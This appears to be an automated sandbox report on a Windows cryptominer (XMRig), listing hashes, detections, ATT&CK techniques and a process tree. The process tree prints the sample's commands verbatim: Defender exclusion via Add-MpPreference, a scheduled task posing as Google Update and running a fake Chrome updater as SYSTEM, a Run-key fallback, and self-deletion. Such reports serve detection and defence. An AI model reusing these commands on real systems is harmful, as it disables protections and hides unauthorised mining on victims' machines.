xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
389s
max time network
1793s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Be5sCbvuma2nkHDa.exeupdater.execonhost.exe

description	pid	process	target process
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	Explorer.EXE
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	Explorer.EXE
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	Explorer.EXE
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	Explorer.EXE
PID 2936 created 1356	2936	updater.exe	Explorer.EXE
PID 2936 created 1356	2936	updater.exe	Explorer.EXE
PID 2936 created 1356	2936	updater.exe	Explorer.EXE
PID 2936 created 1356	2936	updater.exe	Explorer.EXE
PID 2724 created 1356	2724	conhost.exe	Explorer.EXE
PID 2936 created 1356	2936	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral7/memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2696 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2936 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2496 taskeng.exe

pid	process
2696	cmd.exe

pid	process
2936	updater.exe

pid	process
2496	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral7/memory/2072-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2936 set thread context of 2724	2936	updater.exe	conhost.exe
PID 2936 set thread context of 2072	2936	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Be5sCbvuma2nkHDa.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2548 schtasks.exe
1776 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1180 WMIC.exe

pid	process
2548	schtasks.exe
1776	schtasks.exe

pid	process
1180	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a00a3b803c4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Be5sCbvuma2nkHDa.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
1692	powershell.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2116	powershell.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2784	powershell.exe
2936	updater.exe
2936	updater.exe
1748	powershell.exe
2936	updater.exe
2936	updater.exe
1496	powershell.exe
2936	updater.exe
2936	updater.exe
2936	updater.exe
2936	updater.exe
2724	conhost.exe
2724	conhost.exe
2936	updater.exe
2936	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	2936	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: SeLockMemoryPrivilege	2072	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2116 wrote to memory of 2548	2116	powershell.exe	schtasks.exe
PID 2116 wrote to memory of 2548	2116	powershell.exe	schtasks.exe
PID 2116 wrote to memory of 2548	2116	powershell.exe	schtasks.exe
PID 2696 wrote to memory of 2444	2696	cmd.exe	choice.exe
PID 2696 wrote to memory of 2444	2696	cmd.exe	choice.exe
PID 2696 wrote to memory of 2444	2696	cmd.exe	choice.exe
PID 2784 wrote to memory of 2452	2784	powershell.exe	schtasks.exe
PID 2784 wrote to memory of 2452	2784	powershell.exe	schtasks.exe
PID 2784 wrote to memory of 2452	2784	powershell.exe	schtasks.exe
PID 2496 wrote to memory of 2936	2496	taskeng.exe	updater.exe
PID 2496 wrote to memory of 2936	2496	taskeng.exe	updater.exe
PID 2496 wrote to memory of 2936	2496	taskeng.exe	updater.exe
PID 1496 wrote to memory of 1776	1496	powershell.exe	schtasks.exe
PID 1496 wrote to memory of 1776	1496	powershell.exe	schtasks.exe
PID 1496 wrote to memory of 1776	1496	powershell.exe	schtasks.exe
PID 2936 wrote to memory of 2724	2936	updater.exe	conhost.exe
PID 2740 wrote to memory of 1180	2740	cmd.exe	WMIC.exe
PID 2740 wrote to memory of 1180	2740	cmd.exe	WMIC.exe
PID 2740 wrote to memory of 1180	2740	cmd.exe	WMIC.exe
PID 2936 wrote to memory of 2072	2936	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1356

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2548

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1776

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2072

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1508

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2724

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2444

C:\Windows\system32\taskeng.exe
taskeng.exe {2F6C944B-2357-476A-9201-1473CADF52DC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2496

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2452

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1180

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
379KB

MD5
38eb7a86313c1bd74ebccd21d5bbf60c

SHA1
a716cc6f6236f545372a4f65e49b0ef17123b197

SHA256
ae8545eb691fb5f50aeed953ce273d457907c2592b6e40381a0459002db27aad

SHA512
754b73e2c31ac4a08bb5fdb27f006de16127041722b25287e1196b8b38b2b4284e6f03d89fc87ff14e12c3b4921addd4fbc127cb89475e23d04ceacb56e4a442

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
318KB

MD5
7b220e33e38b7b5470d0b9900baa086d

SHA1
dbda21f63fb692ffc2b6c5d093b8de335402b8bb

SHA256
c0716dcea089875ae58b121dec0fc26ed4c0e9bde07a5d3e6bcba5f4c66b4659

SHA512
11fc33159718015e2ab0ec467da68a10a9f9763b2820519b15c9eee35a8225c2ca52172a641b70feca4e763ea8f49846b8a57f94f21f1101e2d1afdcd1d9820f

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BBN4IYMJT6AX9M67LJ9Y.temp
Filesize
7KB

MD5
526989c1e5bc9fe4f8c3275c811372db

SHA1
039f52ea9d62185851fb8e788fd1713ff477a9f5

SHA256
bea90fa46179ccc0f6d5fd04250422990ed6ef3d1fa9d713f5fbe8c42b37c6d8

SHA512
8d3f10a3917b2ac2e03e6666f59decd4d65acbc00d34e49e6c1cb950141b56bd950c6e94df9771ad26e328e2786617c79d5d30f669269a19e2209e4117501357

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
347KB

MD5
37920a0383bbdf8de7e595ebaeb36f64

SHA1
e6397f7cddcb32c2750a72df528171c182983576

SHA256
3df0023f65fe7814388af2aeee802cad379580fb4783b17ebd14dbe013e5e125

SHA512
46f4227adb630202817559761ca039c6b1d7942f364c93822b9d07a3f0a241bba81c2900092ed118867031eb990e6e51c1e9e74b7d9bc89b0a3f6568d3a29f57

Download Submit
memory/1496-56-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1496-55-0x0000000001350000-0x00000000013D0000-memory.dmp

Filesize
512KB

Download
memory/1496-53-0x0000000001350000-0x00000000013D0000-memory.dmp

Filesize
512KB

Download
memory/1496-50-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1496-54-0x0000000001350000-0x00000000013D0000-memory.dmp

Filesize
512KB

Download
memory/1496-52-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1496-51-0x0000000001350000-0x00000000013D0000-memory.dmp

Filesize
512KB

Download
memory/1692-9-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1692-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/1692-10-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1692-12-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1692-7-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/1692-8-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1692-6-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

Filesize
9.6MB

Download
memory/1692-11-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1748-47-0x000000000019B000-0x0000000000202000-memory.dmp

Filesize
412KB

Download
memory/1748-49-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

Filesize
9.6MB

Download
memory/1748-45-0x0000000000190000-0x0000000000210000-memory.dmp

Filesize
512KB

Download
memory/1748-46-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

Filesize
9.6MB

Download
memory/1748-48-0x0000000000190000-0x0000000000210000-memory.dmp

Filesize
512KB

Download
memory/1748-44-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

Filesize
9.6MB

Download
memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-64-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-66-0x0000000000360000-0x0000000000380000-memory.dmp

Filesize
128KB

Download
memory/2072-67-0x0000000000380000-0x00000000003A0000-memory.dmp

Filesize
128KB

Download
memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
